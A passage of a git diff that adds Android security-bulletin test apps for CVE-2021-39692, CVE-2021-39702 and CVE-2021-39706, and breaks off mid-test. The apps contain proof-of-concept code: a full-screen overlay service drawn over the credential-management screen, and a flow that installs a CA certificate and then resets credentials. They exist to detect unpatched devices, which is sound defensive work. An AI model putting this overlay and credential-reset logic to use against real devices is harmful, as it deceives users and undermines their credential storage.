index 0000000..455aa03
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        super.onReceive(context, intent);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
new file mode 100644
index 0000000..be96d11
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    private Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        Context context = getApplicationContext();
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        mButton = new Button(getApplicationContext());
+        mButton.setText(context.getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
index bcbf54f..034f865 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39702",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
new file mode 100644
index 0000000..60105d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2021_39702"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2021_39702"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39702" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
new file mode 100644
index 0000000..46f9745
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+    <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="dumpsysActivity">dumpsys activity</string>
+    <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command
+    </string>
+    <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with
+    "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayAttack">overlayattack</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running
+    on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
new file mode 100644
index 0000000..b5f3a3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.Settings;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.Credentials;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private String vulnerableActivityName = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(context));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+        }
+    }
+
+    public void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        Intent intent = new Intent(Credentials.ACTION_MANAGE_CREDENTIALS);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder()
+                .addAppAndUriMapping(context.getPackageName(), Uri.parse(""),
+                        context.getString(R.string.overlayAttack))
+                .build();
+        intent.putExtra(KeyChain.EXTRA_AUTHENTICATION_POLICY, policy);
+        PackageManager pm = context.getPackageManager();
+        assumeNotNull(pm);
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null);
+        assumeNotNull(ri.activityInfo);
+        vulnerableActivityName = ri.activityInfo.name;
+        try {
+            context.startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        assumeNotNull(device);
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                device.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = device.wait(Until.gone(By.pkg(context.getPackageName())),
+                LAUNCH_TIMEOUT_MS);
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = device.executeShellCommand(
+                    context.getString(R.string.dumpsysActivity) + " " + vulnerableActivityName);
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+                activityPattern.matcher(activityDump).find());
+
+        /* Failing the test as fix is not present */
+        assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
new file mode 100644
index 0000000..e20029a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    public static Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        Context context = getApplicationContext();
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(context));
+        mButton = new Button(context);
+        mButton.setText(context.getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
index bcbf54f..ea7eb99 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39706",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
new file mode 100644
index 0000000..4ee35ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39706"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:testOnly="true"
+        android:label="CVE-2021-39706"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".PocDeviceAdminReceiver"
+            android:exported="true"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data
+                android:name="android.app.device_admin"
+                android:resource="@xml/device_policies" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"></action>
+            </intent-filter>
+        </receiver>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39706" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
new file mode 100644
index 0000000..6188e9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/layout/activity_main.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        xmlns:app="http://schemas.android.com/apk/res-auto"
+        xmlns:tools="http://schemas.android.com/tools"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+    <Button
+        android:id="@+id/button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/cleanCache" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
new file mode 100644
index 0000000..2afb31c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/values/strings.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="settingsPkg">com.android.settings</string>
+    <string name="settingsPkgCar">com.android.car.settings</string>
+    <string name="certCls">com.android.settings.security.CredentialStorage</string>
+    <string name="certClsCar">com.android.car.settings.security.CredentialStorageActivity</string>
+    <string name="certInstalled">Certificate is already installed</string>
+    <string name="certInstallFail">Certificate installation failed!</string>
+    <string name="certNotFound">Certificate not found after installation</string>
+    <string name="pkgName">android.security.cts.CVE_2021_39706</string>
+    <string name="openFail">Failed to open </string>
+    <string name="tapFail">Failed to Tap </string>
+    <string name="pkgInstallFail"> is not installed!</string>
+    <string name="oK">OK</string>
+    <string name="cleanCache">CLEAN CACHE</string>
+    <string name="failMessage">Vulnerable to b/200164168 !!</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
new file mode 100644
index 0000000..8a3a4d3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/res/xml/device_policies.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<device-admin>
+    <uses-policies>
+        <disable-camera/>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
new file mode 100644
index 0000000..fcff1b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39706/src/android/security/cts/CVE_2021_39706/DeviceTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39706;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.security.cts.CVE_2021_39706.PocActivity;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int TIMEOUT = 10000;
+    private static Resources resources;
+    private static String settingsPkg;
+
+    /*
+     * The Certificate and keypair below are generated with:
+     *
+     * openssl req -nodes -new -x509 -keyout key.pem -out cert.pem -days 3650
+     */
+
+    // Content from cert.pem
+    public static final String TEST_CA = "-----BEGIN CERTIFICATE-----\n"
+            + "MIIDAzCCAeugAwIBAgIUax98yDH6YvGpzh2XQBYV7MU2ao8wDQYJKoZIhvcNAQEL\n"
+            + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExMzcxNloXDTMyMDIxNTEx\n"
+            + "MzcxNlowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+            + "MIIBCgKCAQEAoPTRA3pjJc1JTQN3EK6Jtl9JkJaI0+P/e3Bzyi4MkxrSuHDvfqP0\n"
+            + "08roSZgG0a/I1oSlfTSt5QEOvuJH3KVW0IuUF71JYO6rmm7wU2Clx89qmONgQGJR\n"
+            + "G72qvhIBEN1zma2WK9NFcQ4amYspLfkB9HSjy3C+LCwgqoQFfND6uaCGELayx4km\n"
+            + "CnJgBfxNddcz0abWShJ0fr0lOPtKY4tPHhE/1oWGGqAI/U808veLJDpQ06c8wjNf\n"
+            + "8GD7thykOwoTlF630gz0gA/VkmxiOfn0WXRS8VeJ6TeilFsBNUSD4tLA250U8r0F\n"
+            + "d9yFMRVtdFPuNP1ajf2IO+RLpQUr2kWAbQIDAQABo1MwUTAdBgNVHQ4EFgQU1gXp\n"
+            + "r3L/Gf39tvSOZrD5wSQmUJAwHwYDVR0jBBgwFoAU1gXpr3L/Gf39tvSOZrD5wSQm\n"
+            + "UJAwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAFDTpZ1LNtd29\n"
+            + "hh+8TFvAOoaMx06AgnTRdLdsWwcjJCCAHvBiimE23XFO91VjTbttIXynpnKHVwOf\n"
+            + "lgTsExLtXDFU65OQNaWt7UebtWdvxsThd754SUsSGVuZ6VXyI5EuADoU/MocdE3B\n"
+            + "+EJZnl/HvG4KKPTL+YdlvthI1j5WUmI2m7yVzYouC72y92L3ebPaGdMcbp9wjZ89\n"
+            + "LdvAJ8yaLqVxv7TQgXORUo1NrqASsVVW/IgmovHuZj9wK7ZenFhT58ue7nxqQm4Z\n"
+            + "nQfdnxdV19tprMfx1+uu7NNqvxCv1UN6peeBzF/0Bony+9oNzOnGYwMRm9Ww8+mJ\n"
+            + "v02a06J8kg==\n" + "-----END CERTIFICATE-----";
+
+    private UiDevice device;
+    private Context context;
+    private PackageManager packageManager;
+
+    private void openApplication(String applicationName) {
+        Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        context.startActivity(intent);
+        assumeTrue(resources.getString(R.string.openFail) + applicationName,
+                device.wait(Until.hasObject(By.pkg(applicationName)), TIMEOUT));
+    }
+
+    private void tapText(String text) {
+        boolean buttonClicked = false;
+        UiObject2 object = device.findObject(By.text(text));
+        if (object != null && object.getText() != null) {
+            object.click();
+            buttonClicked = true;
+        }
+        assumeTrue(resources.getString(R.string.tapFail) + text, buttonClicked);
+    }
+
+    protected boolean isPackageInstalled(String packageName) {
+        try {
+            PackageInfo pi = packageManager.getPackageInfo(packageName, 0);
+            return pi != null;
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    @Before
+    public void setUp() {
+        // Initialize UiDevice instance
+        device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        context = InstrumentationRegistry.getInstrumentation().getContext();
+        packageManager = context.getPackageManager();
+        resources = context.getResources();
+        settingsPkg = PocActivity.checkIsCar() ? resources.getString(R.string.settingsPkgCar)
+                : resources.getString(R.string.settingsPkg);
+        assumeTrue(settingsPkg + resources.getString(R.string.pkgInstallFail),
+                isPackageInstalled(settingsPkg));
+    }
+
+    @Test
+    public void testCredentialReset() {
+        final byte[] cert = TEST_CA.getBytes();
+        PocPolicyManager policyManager = new PocPolicyManager(getApplicationContext());
+        assumeFalse(resources.getString(R.string.certInstalled),
+                policyManager.hasCaCertInstalled(cert));
+        assumeTrue(resources.getString(R.string.certInstallFail),
+                policyManager.installCaCert(cert));
+        assumeTrue(resources.getString(R.string.certNotFound),
+                policyManager.hasCaCertInstalled(cert));
+
+        // Open the PoC and attempt to reset credentials
+        openApplication(resources.getString(R.string.pkgName));
+        // Button is used to reset credentials after confirming that PoC opened successfully
